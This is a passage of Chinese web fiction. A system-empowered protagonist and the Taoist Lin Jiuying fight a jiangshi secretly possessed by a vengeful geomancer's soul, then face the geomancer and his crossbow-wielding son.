古德没有参与进去,他带着阿草和无心,借口镇上客栈更舒适,离开了义庄,实则回到了停在镇外隐蔽处的房车。
夜幕降临。
古德躺在房车舒适的大床上,心里却有点犯嘀咕。
今天这趟重温经典,似乎就这么平平淡淡地过去了。
除了开头开棺有点惊悚,后续就是些人情世故的拉扯。
系统一点反应都没有,别说新订单,连个提示音都没听见。
“看来,只是作为旁观者参与剧情,不主动介入关键冲突,或者不满足特定条件,是无法触发系统订单的。”
古德琢磨着。
那看来只能期待任发被僵尸咬了,或者林九英被抓进去了,会不会触发个“援救”或“除僵”订单。
“算了,顺其自然吧。”
古德很快调整了心态。
在香江经历了那么多,他早就明白了一个道理:放下助人情节,尊重他人因果。
除非是那些他前世看剧时留有遗憾、真心希望改变的角色命运,他才会顺着本心去插手。
比如救下某个不该死的配角,或者提前干掉某个特别恶心的反派。
至于任发自己作死,林九英按部就班处理僵尸,剧情是否还会按照电影发展把任发咬死,他并不太操心。
每个人都有自己的路要走,强求不来。
他打定主意,明天要是风平浪静,没有出意外的话,就离开任家镇,继续自己的旅程。
黄山村暂时去不了,或许可以去别的地方转转,看看有没有其他订单。
然而,计划往往赶不上变化。
深夜,万籁俱寂。
无心坚持在房车的驾驶舱守夜。
虽然古德说了这车很安全,不用担心,但无心觉得既然签了合同,拿了薪水,就得尽责。
万一有不开眼的小**贼或者野兽对车子动手动脚呢?
他坚持要守上半夜。
古德拗不过他,加上自己确实在房车里睡得更舒服,便也由他去了。
他跟林九英说的是去住镇上最好的客栈,实则就在房车卧室里酣然入睡。
不知睡了多久,迷迷糊糊中,古德被一阵轻微的、但略显急促的敲门声惊醒。
“老板?老板?醒醒。”
是阿草的声音,隔着卧室门传来,带着一丝不易察觉的古怪。
古德揉着眼睛打开门,只见阿草站在门口,她脸上没什么惊慌,但眼神有些微妙。
“怎么了阿草?这么晚。”
古德问道,睡意去了大半。
阿草压低了声音,语气快速地说道:
“老板,出事了。林道长带回去那具僵尸……好像**了。它撞破了义庄停尸房的后窗,跑出来了。
正好被在外面守夜的无心大哥看到,然后,无心大哥就跳下车,追过去了。他让我来通知你。我们要不要……过去看看?”
古德闻言,先是一愣,随即感到一阵无语。
这算什么?剧情惯性?还是因为无心的存在产生了蝴蝶效应?
他本来都想好明坐看剧情发展,要是没有按照剧情发展就和林九英吃顿饭就出发,要是剧情一样,刚好可以顺着剧情去走。
没想到,这僵尸一回来就能破封跑路,不知道是林九英没处理好,还是被秋生和文才这两个坑师的玩意给破坏镇封之物。
又偏偏在无心守夜的时候被无心撞个正着!
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无心这一追,事情的性质就变了。
他毕竟是自己签了合同的手下,他跑去追僵尸,无论结果如何,自己这个当老板的都不能完全置身事外了。
“这都什么事儿啊……”古德揉了揉眉心,叹了口气。
看来今晚这觉是睡不成了。
“行吧,既然无心追过去了,我们也不能不管。”
古德对阿草点点头,迅速做出了决定,“我换身衣服,马上过去。你准备一下,可能需要动手。”
“是,老板。”阿草应了一声,也回自己房间去换行动方便的衣服。
古德快速换上了一套深色的劲装,将长发随意束起,背上了那个装有青铜阔剑的琴盒。
当他拉开车门时,阿草也已经准备好了,同样是一身利落的打扮。
深夜的野外,月光清冷,照得土路一片惨白,四周的树木和草丛都成了幢幢黑影,寂静中透着几分不安。
古德能隐约感觉到空气中残留着一丝微弱的、属于无心的独特气息,以及另一道更加阴冷、僵硬的尸气轨迹,朝着镇子西南方向的荒郊野地延伸而去。
“跟紧我。”
古德低声道,抽出两张黄符,手指一捻,符纸无风自燃,化作两道清光分别没入他和阿草的腿中。
这是轻身提气的“甲马神行符”简化版,能大幅提升奔走速度,虽不能真的日行千里,但短距离追赶绰绰有余。
“疾!”
古德轻喝一声,和阿草同时迈步。
两人的身影顿时变得轻盈迅捷,仿佛化作了两道融入夜色的清风,沿着气息残留的方向,疾驰而去。
衣袂破风之声微不可闻,只有脚下偶尔点地时发出的极其轻微的沙沙声,迅速消失在道路尽头。
第275章 又看到了,常威在打来福
古德和阿草借着神行符的效力,身形在夜色中快得只剩两道模糊的影子,顺着无心留下的气息和那股越来越浓的阴冷尸气,朝着任家镇西南方向疾驰。
夜风在耳边呼啸,路旁的景物飞速**。
很快,前方出现了隐约的灯火和一座大宅的轮廓,正是任府。
此刻,任府方向传来的打斗声、嘶吼声以及惊恐的叫喊声已经清晰可闻。
就在他们即将跃入院墙之际,身旁一阵轻微的衣袂破风声响起。
古德警觉地侧头,只见一道熟悉的杏黄色身影也从另一个方向疾驰而来,身形矫健,手提一柄泛着淡淡金光的桃木剑,正是林九英。
“九哥?”
古德减缓速度,与林九英汇合。
“阿德,你们也来了。”
林九英脸色凝重,眼中带着一丝懊恼和急切,言简意赅地解释道:
“我刚躺下,就听到停尸房那边有异响,过去一看,棺材破了,棺材塌了,符也被破了,那东西跑了!
僵尸初成,灵智未开,但本能会驱使它首先寻找血脉至亲,吸食亲人之血以壮其阴煞。我猜到它会来这里,没想到还是晚了一步……不知道里面情况如何!”
他看了一眼古德和阿草,“你们也是听到动静敢来?”
“无心先发现了,我们跟着追来的。”
古德点头,心里却闪过一丝疑惑。
剧情似乎提前了?
电影里似乎应该是迁坟后第二天晚上才发生的事情?怎么提前了?
难道是因为自己和林九英的提前介入,或者无心的出现,引发了什么蝴蝶效应?
这些念头一闪而过,眼下不是深究的时候。
三人不再多言,林九英身形一纵,率先跃上院墙,古德和阿草紧随其后,轻飘飘落入任府前院。
眼前的景象颇为混乱。
任府前院颇为宽敞,青石板铺地,两旁原本种着些花木,此刻却是一片狼藉,花盆碎裂,枝叶散落。
几盏挂在屋檐下的气死风灯在夜风中摇曳,投下晃动不安的光影。
场中,常威又在打来福了。
不对.....是无心正与一个身形僵硬、动作却异常迅猛的黑影缠斗。
那黑影正是任老太爷,只是与白天棺材里所见又大不相同!
他身上的清朝官服被暴涨的躯体撑得几乎裂开,裸露在外的皮肤不再是青黑色,而是覆盖上了一层浓密、坚硬、如同钢针般的黑**!
手指甲乌黑发亮,长如短匕,挥舞间带起嗤嗤的破空声。
口中的獠牙外翻,滴落着粘稠的涎液,双眼赤红,充满了对生人血肉的渴望。
“**僵!”林九英倒吸一口凉气,脸色更加难看,“这才几个时辰,竟然从跳僵进阶到了**僵!这怎么可能?!”
**僵,铜皮铁骨,行动迅捷,力大无穷,寻常刀剑难伤,已是非常难缠的邪物。
不远处,任发和任婷婷父女俩缩在一根粗大的廊柱后面,瑟瑟发抖,脸色惨白如纸。
任发早就没了白天的富态和镇定,丝绸马褂上沾满了灰尘。
任婷婷紧紧抓着父亲的胳膊,身上的衣服也刮破了好几处,脸上满是泪痕和恐惧。
他们身边原本应该有的家丁护院,此刻早已跑得无影无踪,只剩下几根丢弃的木棍和一面破锣。
古德目光扫过场中,微微有些意外。
任发居然还活着?
看来是无心及时赶到,拖住了这具突然进阶的**僵,才让他侥幸逃过一劫。这倒是个变数。
场中,无心面对刀枪不入的**僵,显得有些吃力。
他拳脚功夫不俗,身法诡异,每每能在间不容发之际避开任老太爷的利爪撕扯。
但他的攻击打在任老太爷覆盖黑**的身体上,只能发出“砰砰”的闷响,如同击打生铁,难以造成实质伤害。
此时,无心瞅准一个空档,再次咬破自己右手食指指尖,殷红的血珠渗出,他迅速以血代墨,在自己左手掌心飞快地画下一道繁复的符纹。
那符纹在灯光下隐隐泛着淡金色的光泽,透着一股纯阳破邪的意味。
“破邪!”
无心低喝一声,掌心泛起点点赤芒,身形一矮,避开喷吐的尸气,猛地一掌印在了任老太爷的胸口膻
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中穴!
“嗤——嗷!!”
血符印上黑**覆盖的尸身,如同烧红的烙铁按上冰块,发出剧烈的灼烧声,大股带着恶臭的青烟腾起。
任老太爷发出一声非人的惨嚎,庞大的身躯被拍得向后踉跄了好几步,胸口那一片黑**明显焦糊卷曲下去,露出下面乌黑的皮肤。
古德眼睛微眯,对身边的林九英低声道:
“九哥,不对劲。这任老太爷尸变的速度太快了,这才几个时辰?而且直接从跳僵跳到了黑**僵,这进阶的速度……不合常理。就算吸收了月光精华或地脉阴气,也没这么夸张。””
林九英死死盯着场中那具嘶吼的黑**僵尸,脸色阴沉得能滴出水来。
他缓缓点头,声音压得很低,带着压抑的怒火和一丝不解:
“我用了上好的朱砂和鸡冠血画的镇尸符,按说足以镇住跳僵十二个时辰以上,让它动弹不得。除非……”
他眼中寒光一闪:
“除非有人在我离开后,潜入停尸房,动了手脚,甚至……加速了它的尸变过程!”
他几乎是咬牙切齿地说出这句话,脑海里瞬间浮现出文才那副不靠谱的样子。
让那小子看管停尸房,恐怕尸体被人搬空了,他都未必能及时发现!
林九英心里又是气恼又是无奈,深深叹了口气。
眼看无心虽然身法灵活,血液也对僵尸有克制,但面对这具皮糙肉厚、力大无穷且似乎有些古怪的黑**僵,赤手空拳终究有些难以招架,几次险象环生。
林九英深吸一口气,对古德沉声道:
“阿德,这具僵**给我和无心处理。我怀疑真有幕后之人在搞鬼,而且很可能就在附近窥视。若他出现,或者还有什么别的诡异,就麻烦你盯着了!”
古德正色点头:“九哥放心,交给我。”
林九英不再多言,手中桃木剑一振,脚下踏着罡步,口中低诵法咒,剑身上一抹微弱的金光流淌而过。
他清喝一声:“无心道友,林九英来助你!”
话音未落,人已如离弦之箭,挺剑直刺任老太爷的后心!
第276章 又又接到系统订单了
缩在廊柱后的任发和任婷婷听到林九英的声音,如同抓住了救命稻草,激动得几乎哭出来。
任发声音发抖地喊道:“九叔!九叔救命啊!”
两人连滚带爬地想往林九英那边靠。
古德对阿草使了个眼色:
“阿草,去护着他们,带他们退远些,找个安全的地方。”
阿草会意,身形一闪,便出现在任发父女身边。
她一手一个,看似轻轻一提,便将吓得腿软的两人带离了廊柱,迅速退到了更远处的回廊转角,那里相对隐蔽,视线也开阔。
“待在这里,别乱动,也别出声。”
阿草的声音清脆而冷静,带着一种奇异的安抚力量。
任发和任婷婷忙不迭地点头,紧紧靠在一起,惊恐地看着远处的战斗。
就在这时——
“叮!”
一声清脆悦耳、唯有古德能听见的系统提示音,毫无征兆地在他脑海中响起。
古德眉头一挑,心中暗道:他来了,他来了,他带着订单走来了!订单虽迟但到!就是这系统反应是装了拨号上网吗?还有点延迟。
紧接着,熟悉的半透明光屏在他眼前展开:
【叮,滴滴接单系统接收到林凤娇(真名)的求助订单。】
【订单需求:在本次僵尸袭击事件的“幕后引导者/操控者”现身时,将其擒获或制服。】
【订单奖励:公里点数2000点。】
【宿主已默认接受订单,订单形成。】
林凤娇?
古德再次看到林九英的真名,嘴角还是忍不住地抽动了一下,赶紧忍住笑意。
每次系统接到林九英订单的时候,跳出的真名都是林凤娇,看来林九英这“林凤娇”的大名是坐实了。
不过,2000点公里数的奖励相当丰厚,也从侧面印证了这幕后之人的棘手程度。
系统订单不会无的放矢。
古德心中顿时了然,看来自己的猜测和林九英的怀疑都没错,任老太爷的异常尸变和今晚的袭击,果然有人暗中推动!
他的神色不变,但内心已经高度戒备起来,强大的神识如同无形的潮水,悄无声息地以自身为中心扩散开来,仔细感知着任府内外每一个角落的细微气息波动,尤其是那些隐藏的、带着恶意的窥视。
此时,院中的战斗已进入白热化。
林九英已经加入了战局,压力大减。
他手中那柄看似普通的桃木剑,在他精纯的法力灌注下,隐隐泛着一层淡金色的光晕,显然非同凡品。
“孽障,看剑!”
林九英步踏天罡,身形迅捷,瞅准一个空档,桃木剑化作一道金光,直刺任老太爷的心口!
然而,就在剑尖即将触及那层黑**的刹那,竟发出“叮”的一声脆响,如同刺中了坚硬的金属!
一层浓郁如墨的尸气自主凝聚在任老太爷胸前,硬生生挡住了这凌厉的一剑,只是让其身形晃了晃。
任老太爷受此一击,凶性大发,怒吼一声,双臂猛地横扫,带着腥风抓向林九英的面门。
林九英似乎早有所料,神情不变,脚下步伐一错,身形如柳絮般向后飘退,同时左手闪电般从道袍袖中抽出一张画好的黄色镇尸符,瞅准机会就要上前贴向任老太爷的额头。
那任老太爷竟似有几分灵智,眼见符箓袭来,大嘴一张,一股浓稠如墨、腥臭扑鼻的尸气如同箭矢般喷向林九英!
林九英不愿硬接这污秽之气,只得再次闪身避开。
一旁的无心觑得此机,再次欺身而上,又是一记蕴含破邪法力的掌印,结结实实拍在任老太爷的后心!
“嗷!”
任老太爷吃痛,发出一声惨嚎,动作不由得一滞。
林九英岂会错过这等良机?
他身形如电,瞬间贴近,右手如穿花蝴蝶般巧妙一探,“啪”的一声轻响,那张黄色的镇尸符不偏不倚,正好贴在了任老太爷的额头正中央!
符箓贴上,灵光一闪。
任老太爷前扑的动作猛地僵住,双臂前伸,獠牙外露,保持着那副骇人的模样,如同被施了定身法,一动不动地定在了原地。
只有那身黑**还在夜风中微微颤动,口中的尸气也停止了喷吐。
场中顿时安静下来。
林九英后退两步,微微喘息,手中桃木剑依旧指着任老太爷,警惕未消,但脸上明显松
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了口气。
无心也停下动作,揉了揉有些发麻的手掌,看向那具被定住的僵尸。
躲在廊柱后的任发,见父亲终于不动了,这才惊魂未定地拉着任婷婷,小心翼翼地探出头,远远地问道:“九……九叔,我爹他……他这到底是……”
林九英看了他一眼,语气平淡,却带着不容置疑的肯定:“任老爷,就如你亲眼所见,令尊尸变成僵,回来找你们了。”
任发喉咙里“咕噜”一声,咽了口唾沫,脸色更加灰败。
其实看到那青面黑**、力大无穷、追着人咬的怪物,他心里早已猜到了七八分,只是此刻被林九英亲口证实,才算是彻底**心,一股寒气从脚底板直冲天灵盖。
他哆嗦着又问:“那……那九叔,接下来……该怎么办?”
林九英看着任发,语气依旧平淡:“怎么办?自然是给你父亲找个合适的风水墓穴,让他入土为安。”
旁边的古德忽然插了一句,语气带着点玩味:“不过嘛,任老爷,下次你爹再从坟里跑出来,会不会第一个去找你喝下午茶,可就不好说了。毕竟,僵尸最爱至亲之人的血,一旦脱困,第一个要吸的,就是自己的血亲。”
任发一听这话,脸都吓绿了,脑海中瞬间浮现出自己父亲刚才青面獠牙、追着自己满院子跑的画面。
什么“父亲怕火”,什么“保全遗体”的面子,在自家性命面前统统不值一提了。
他连忙对着林九英连连作揖,声音都带了哭腔:
“九叔!九叔!使不得啊!还是……还是把家父火化了吧!一了百了!求您了!”
古德看着任发这副前后反差巨大的模样,觉得有些好笑。
但随即,他心头警兆忽生!
事情……似乎解决得太简单了些?
如果只是制服一具被动了手脚的黑**僵,系统怎么会给出2000点公里数这么高的奖励?
而且订单明确要求“擒获幕后之人”……
他的目光再次投向场中那具被镇尸符定住的任老太爷。
月光下,那僵直的青黑色面孔,那双原本赤红、此刻因符箓之力而显得有些暗淡的眼睛……
第277章 幕后之人现身
忽然,古德注意到,在那张黄符下方,任老太爷那双只剩下惨绿幽光的眼眶里,眼珠子似乎极其细微地转动了一下?
那目光冰冷,狡诈,不像毫无灵智的僵尸,反而像是在观察他们,评估形势,并且……那目光最终贪婪而渴望地,死死锁定了不远处的任发!
不对劲!
古德神情微变,几乎想都没想,一直背在身后的那个不起眼的狭长琴盒如同有生命般自动滑到他手中。
他手腕一抖,并未打开琴盒,而是将整个琴盒如同门板般,朝着任发和任婷婷中间的空隙猛地横向一抡!
就在琴盒横挡过去的同一刹那!
那本该被镇尸符定住的任老太爷,额头上的黄符“噗”地一声无火自燃,瞬间化为灰烬!
它喉咙里发出一声完全不似僵尸的、混杂着痛苦与贪婪的尖锐嘶鸣,双腿一曲一弹,僵硬的身躯爆发出惊人的速度,如同一道黑色闪电,直扑任发!
目标明确,就是任发脖颈间跳动的血脉!
“砰!!!”
沉重的琴盒后发先至,结结实实地拍在了扑来的“任老太爷”身上,发出沉闷如击败革的巨响。
那巨大的冲力让任老太爷前扑之势戛然而止,整个尸身被拍得向后倒飞出去,“哐当”一声撞在后面的院墙上,震得墙灰簌簌落下,然后像一幅诡异的画般,暂时挂在了那里,四肢微微抽搐。
林九英脸色剧变,失声惊呼:“怎么可能?!镇尸符为何无效?!”
他对自己绘制的符箔有绝对信心,除非……
无心此刻也死死盯着墙上那具僵尸的眼睛,那里面闪动的不是纯粹的凶残和疯狂,而是混合着怨毒、痛苦和一丝……属于活人的狡诈神采!
一个惊人的念头掠过心头,他立刻大声示警:
“当心!这不是寻常僵尸!这是‘人魂占尸身’!里面是个活人的元神!寻常镇尸符镇的是尸气死魄,对这种以生魂强行入驻、操控尸身的邪法效果大减!这是邪道中极为歹毒的‘夺舍养尸法’!把自己炼成活尸!”
林九英闻言,眼中寒光暴涨,一字眉几乎倒竖起来:
“生魂驻尸?好大的胆子!”
他瞬间想通了关键。
“怪不得!怪不得尸变如此之快,境界飙升!定是有人潜入停尸房,不知用了何种邪法,将自己部分魂魄甚至全部元神强行打入这具将成未成的僵尸体内,借其尸身阴气修炼,或行不可告人之事!
人魂属阳,尸身至阴,两者天生相克。此刻占据尸身的那缕生魂,定是时时刻刻承受着阴气蚀魂的极大痛苦,如同活人被扔进冰窟,煎熬无比!他急需至亲之人的阳血来调和阴阳,缓解痛苦,甚至借此完成最后的邪术!”
古德此时已无暇细听解释。
既然系统订单所指的“幕后之人”很可能就是这占据尸身的生魂本体,或者与其密切相关,那便速战速决!
他心念一动,“咔嚓”一声轻响,琴盒自动打开,那柄古朴厚重的青铜阔剑已跃入他手中。剑身无锋,却自有一股沉凝肃杀之气。
他将琴盒随手丢在一边,双手握剑,体内法力奔涌,灌注剑身。
黯淡的青铜剑刃之上,瞬间腾起一层凝实而璀璨的金色光华,在夜色中格外夺目。
“九哥,解释那么多干啥!”
古德清喝一声,声如洪钟,“管他是僵尸还是活尸,看我一剑斩了便是!”
话音未落,他一步踏前,地面青石板微微一震。
双手挥剑,那柄泛着金光的青铜阔剑化作一道耀眼的金色弧光,携带着劈山断岳般的威势,朝着刚从墙上滑落、嘶吼着欲再次扑上的“任老太爷”当头斩落!
简单,直接,霸道!
任老太爷惨绿的眼眸中,第一次清晰地映出了那抹急速放大的金色剑光,那属于活人魂魄的部分,本能地升起一股前所未有的致命恐惧!
它怪叫一声,双臂交叉护在头顶,周身浓郁的黑色尸气疯狂涌出,在身前凝聚成一面近乎实质的黑色盾牌,试图抵挡。
“嗤——轰!!”
金光与黑气悍然相撞!
没有僵持,金色剑光以摧枯拉朽之势,轻易撕裂了那层看似厚重的尸气盾牌,然后重
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重斩在任老太爷交叉的手臂上!
“咔嚓!”令人牙酸的骨骼断裂声响起。
“嗷——!”一声凄厉到极点的惨嚎划破夜空。
任老太爷如同被攻城锤正面击中,整个尸身再次离地倒飞,比上次更快更猛,“嘭”地一声巨响,后背狠狠撞在刚才那面院墙上,竟将青砖墙面撞得凹陷下去一大片,裂痕如蛛网般蔓延。
它四肢扭曲,嵌在墙里,一时挣扎不下,胸口和手臂处黑**焦糊,露出下面乌黑溃烂的皮肉,嗤嗤地冒着青烟,惨不忍睹。
一旁掠阵的无心看得目瞪口呆,忍不住咂舌惊叹:
“东家……真乃人形凶兽啊!”这纯粹以力破巧的一剑,视觉效果实在太过震撼。
古德得势不饶人,脚下一点,身形再次前冲,准备补上一剑,将这邪修连人带尸彻底了结!
然而,就在他第二剑即将挥出的刹那——
“休!”
一道尖锐的破空声从侧面黑暗中响起!只见一点寒星,速度快得惊人,直射古德持剑的手腕!那并非**,而是一支造型奇特的短小**箭,箭头上泛着幽蓝色的光泽,显然淬有剧毒!
古德眼神一凛,手腕猛地一翻,变噼为拍,宽厚的剑身如同盾牌般精准地拍向那支冷箭!
“铛!”
一声清脆的金铁交鸣之声响起,火星四溅。
那支**箭被青铜阔剑拍得改变了方向,“夺”地一声深深扎进了旁边的廊柱里,箭尾兀自急速颤动。
几乎在**箭被击飞的同时,一阵清脆却带着诡异韵律的“叮铃……叮铃……”声,从**箭射来的方向,悠悠传来。
那铃声不疾不徐,在寂静的夜里格外清晰,仿佛带着某种魔力,钻进每个人的耳朵里。
古德、林九英、无心,以及远处护着任家父女的阿草,所有人的目光,瞬间齐刷刷地投向了任府侧面那处黑黢黢的屋顶方向。
月光晦暗,只能看到两个模糊的人影轮廓,静静地立在屋脊之上,夜风吹动其衣袂。
而那催命般的铃铛声,正从其中一个人的手中传出。
第278章 原来是当初那一家子风水师
那“叮铃……叮铃……”的铃声,在厮杀甫定的夜空中幽幽回荡,并不响亮,却带着一种奇特的穿透力,仿佛能直接钻进人的脑仁里,搅得人心神不宁,气血翻涌。
就连远处廊下被阿草护着的任发和任婷婷,都感到一阵阵头晕恶心,忍不住捂住了耳朵。
所有人的目光都循着铃声和**箭来的方向,聚焦在任府前院一侧的屋顶上。
月光虽然稀薄,但足以让众人慢慢的看清那两道悄然现身的身影。
左边那人,约莫四五十岁年纪,身形瘦高,穿着一件半旧不新的灰色长衫,浆洗得发白,但穿在他身上却透着一股说不出的阴鸷。
他头发梳得一丝不苟,在脑后挽了个小髻,用一根木簪固定,面容消瘦,颧骨高耸,眼窝深陷,一双眸子在黑暗中闪烁着毒蛇般冰冷幽光。
最引人注目的是他平举在胸前的左手,掌心托着一个拳头大小、锈迹斑斑的黄铜铃铛,右手则捏着乌黑的铃舌,正以一种独特的、带着某种邪恶韵律的节奏轻轻晃动着,那催魂魔音正是由此发出。
他的双脚看似随意站立,但细看之下,却隐隐踏着一种诡异的步法,每一步微小的移动,都与铃声的波动完美契合。
右边则是个二十出头的年轻人,与中年人的阴沉不同,他浑身透着一股彪悍狠戾之气。
一身利落的黑色劲装,勾勒出矫健的身形,脸上线条硬朗,嘴唇紧抿,眼神如同饿狼,充满了攻击性。
他手中端着一把造型精巧、泛着金属冷光的****,**身刻着简单的符文。
此刻**箭已重新上弦,那幽蓝色的三角形箭簇,在月光下闪烁着致命的光泽,正死死地瞄准着院中持剑而立的古德。
刚才那刁钻狠辣的一箭,显然出自他手。
两人的目光先是急切的扫过院子边缘,当看到嵌在墙上、正低吼挣扎、身上还带着一道恐怖剑痕的“任老太爷”时,他们眼中不约而同地闪过一丝心痛和愤怒。
尤其是那年轻人,握**的手都因用力而指节发白。
随即,更多的阴毒、怨恨和几乎凝成实质的杀意,牢牢锁定了院中破坏他们好事的古德,以及他身后的林九英和无心。
古德单手持着青铜阔剑,剑身上流转的金光尚未完全敛去,将他棱角分明的侧脸映照得一片肃杀。
他抬眼望向屋顶,脸上非但没有丝毫惧色,反而嘴角勾起一抹冷笑,对身旁同样严阵以待的林九英道:
“九哥,瞧,我说什么来着?藏在阴沟里见不得光的老鼠,闻着味儿,到底还是忍不住自己爬出来了。倒是省了我们一番找的功夫。”
林九英脸色铁青,手中桃木剑横在胸前,目光如电,直射屋顶那摇铃的中年人,声音沉凝,带着压抑的怒气喝道:
“你们究竟是什么人?为何深夜潜入我义庄停尸房,行那鬼蜮伎俩!更施展如此歹毒邪术,夺舍他人先辈尸身,意欲何为?!”
没等屋顶上的人回答,躲在廊柱后面,惊魂未定的任发,借着月光仔细辨认了一下那中年人的脸,突然像是见了鬼一样,失声惊呼起来:
“是……是你!廖通海!你是当年那个风水师的儿子!”
被道破身份,那中年人,廖通海,停止了摇铃。
铃声戛然而止,但那诡异的寂静反而更让人心头压抑。
他阴恻恻地笑了起来,声音沙哑干涩,如同夜枭啼叫,在这寂静的夜里格外刺耳:
“任发啊任发,没想到过了二十年,你这养尊处优的老爷,居然还能认出我这穷酸术士。难得,真是难得。”
他话锋一转,语气陡然变得无比怨毒,伸手指向墙上那具仍在蠕动的僵尸,声音因为激动而微微颤抖:
“那你还记得他吗?还记得这里面的是谁吗?!”
那年轻人则叫廖明远,他立刻咬牙切齿地接口,声音因为极致的恨意而变得尖利:
“二十年前!任家镇西边山坳里那处蜻蜓点水穴,本是我廖家先祖无意中发现,堪定风水,准备留给我爷爷廖明远百年之后安眠的福地!
此事在廖家族谱上皆有记载!可任威勇那个老匹夫,依仗财势,强取豪夺,硬生生从我爷爷手中抢走了这块宝地!
我爷爷气不过,上门理论,反被你们纵恶奴打伤,而且你还要我爷爷给你们看风水点穴,最后他郁愤成疾!后来他临终前咬破手指,发下血誓,必要你任家血债血偿,**!”
廖通海接过儿子的话头,眼中闪烁着疯狂而扭曲的光芒,声音如同从地狱传来:
“我和明远隐姓埋名,忍辱负重二十载!远走苗疆,遍访邪师,吃尽苦头,终于让我们在一处古墓残篇中,参透了这‘生魂寄尸,夺舍养僵’的无上秘术!我们等的就是任家迁坟的这一天!”
他越说越激动,手臂挥舞
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“白天开棺时,我便混在人群里,暗中施法,不仅加速了任威勇尸身的尸变,更将我爹残留的执念魂魄与我自身一道分离出的生魂,一同打入这具绝佳的养尸躯壳!
我要借你们任家的血脉尸身,炼成世上最凶戾、最怨恨任家的血亲僵尸!不仅要吸**任发,还有你女儿,所有流着任家血的人的精血!
更要让任威勇他自己的尸身,亲手灭他任家满门!让他死后魂魄不得安宁,永世承受噬亲之痛!哈哈哈哈!这才叫报仇雪恨!这才叫天道轮回!”
廖通海状若癫狂的笑声在夜空中回荡,那年轻人廖明远也配合着发出嘿嘿的冷笑,**箭始终不离古德要害,显然对这计划自信满满。
林九英听得眉头紧锁,怒斥道:
“荒谬!简直是一派胡言!风水机缘,虽有先来后到,但也讲个有德者居之。即便当年任老太爷强取宝穴有亏德行,你廖家尽可堂堂正正寻官府、或是江湖规矩讨个说法!
但你们这般行径,炼尸害人,戕害无辜,甚至不惜将自己亲父的魂魄置于尸身之中,日夜承受阴气蚀魂的极刑之苦,只为满足一己私怨!这已非报仇,而是丧心病狂,天理难容!”
“天理?!”
廖通海猛地止住笑,面容扭曲地狞笑。
“任家夺我宝穴,气死我爹的时候,天理何在?我娘郁郁而终的时候,天理何在?少在这里假仁假义!我们不要天理,只要任家死绝!”
古德却早已听得不耐烦,他本来就不是来听这帮人掰扯几十年前的陈芝麻烂谷子恩怨的。
他嗤笑一声,打断了廖通海的情绪宣泄:
“叽里呱啦吵**,说完了没?说完了就赶紧滚下来领死。省得我费事上去。”
他顿了顿,青铜阔剑的剑尖轻蔑地遥指了一下墙上还在挣扎的僵尸,“或者,你们想看着我先把这老僵尸剁碎了喂王八,再上去找你们算账?”
“狂妄之徒!找死!”
廖明远年轻气盛,最受不得激将,被古德这轻蔑的态度彻底点燃怒火,怒吼一声,毫不犹豫地扣动了**!
“咻!”
幽蓝色的**箭再次破空,这次速度更快,角度更刁,直取古德眉心!
箭簇上的幽光闪烁,显然蕴含着特殊的破法之力。
几乎在**箭射出的同时,廖通海眼中寒光一闪,猛地剧烈摇晃起手中铜铃!
第279章 廖家老祖的背刺
“叮铃铃铃——!!!”
铃声骤然变得急促、尖锐,如同魔音灌耳,比之前更加刺耳数倍,仿佛有无数根冰冷的钢针,在勐戳众人的耳膜和脑髓,让人心烦意乱,气血逆行,连动作都似乎受到了些许影响。
更诡异的是,随着这急促的铃声,任府前院四周那些原本寂静的阴暗角落里,假山后、月洞门旁、枯萎的花丛中,传来一阵阵沉闷的“咚咚”声,仿佛有什么东西在撞击地面。
紧接着,在任发和任婷婷惊恐的目光中,十几道僵硬、高大的身影,如同从地底冒出来一般,一下一下地跳了出来!
它们大多穿着破烂不堪的清朝官服,皮肤青黑,面目狰狞,指甲尖长,口中发出“嗬嗬”的低吼。
虽然看起来都只是黑僵,但行动并不迟缓,但数量足足有十几具之多!
**在一起,散发出的浓郁尸臭和阴冷气息,也形成了一股不小的威势,将整个前院几乎包围了起来。
古德来到这个世界后就有所察觉,这个世界的阴邪之物,平均水准似乎比他在香江遇到的要强上许多,无论是鬼物还是僵尸,都更显凶戾。
不过,他古德也早已不是当初在香江时的他了。
这些黑僵显然完全被廖通海的铜铃操控,一出现,空洞死寂的眼睛便齐刷刷看向场中的活人,然后发出低沉的嘶吼,迈着僵硬的步伐,从四面八方朝着古德、林九英和无心扑来!
它们的目的很明确,就是用数量淹没这三人!
而墙上那具特殊的“任老太爷”或者说廖家老祖,在急促铃声的刺激下,挣扎得更加剧烈,嵌进去的墙壁都开始出现裂纹,眼看就要彻底脱困!
“哼!不过是一群土鸡瓦狗般的黑僵!也敢拿出来献丑!”
古德冷哼一声,面对射来的**箭,这次他甚至懒得用剑去格挡,只是脑袋微微一侧,那支凌厉的**箭便擦着他的鬓发飞过,带起几根发丝,笃的一声钉在了后面的廊柱上。
同时,他脚步一错,身形已如鬼魅般主动切入扑来的僵尸群中!
手中青铜阔剑挥舞开来,不再是之前对付**僵时的凝重,而是变得轻灵而暴烈!
剑光闪烁间,如同热刀切黄油,金光迸溅之处,只听得“咔嚓”、“噗嗤”之声不绝于耳。
冲在最前面的两具僵尸,一具被剑光扫过双腿,膝盖以下瞬间离体,扑倒在地兀自向前爬行;另一具更惨,头颅被削掉半边,黑红色的粘稠液体和脑浆喷溅而出,散发出令人作呕的恶臭。
古德身形在僵尸群中穿梭,剑随身走,每一剑都精准地破坏僵尸的行动能力,或是斩断关节,或是直接枭首,效率高得吓人。
林九英和无心也同时动手。
林九英桃木剑专刺僵尸关节连接处、眉心祖窍等薄弱点,同时左手不断挥出黄色符箓,定尸符、破邪符如同穿花蝴蝶般飞出,贴在僵尸额头或胸口,往往能让一具僵尸动作瞬间僵直,被他或无心趁机补刀。
他口中念念有词,净天地神咒的韵律响起,带着安抚心神、驱散邪秽的力量。
无心则再次咬破指尖,他的血似乎对阴邪之物有奇效。
他不再用复杂的掌法,而是将精血抹在拳锋或指尖,出手如电,或拳或指,专门攻击僵尸的咽喉、心窝等要害。
他的攻击看似没有古德和林九英那么炫目,但至阳血气透体而入,对普通黑僵的伤害极大,往往一拳就能让一具僵尸胸口塌陷,冒出黑烟,倒地不起。
屋顶上,廖明远见**箭偷袭无效,古德在僵尸群中如同虎入羊群,心中又急又怒。
他不断移动位置,扣动**,**箭连珠般射向古德和林九英,专挑他们应付僵尸、旧力已尽新力未生的间隙偷袭,箭矢角度刁钻,那幽蓝光芒显然对修行者的护体法力也有一定的侵蚀作用,带来不小的威胁。
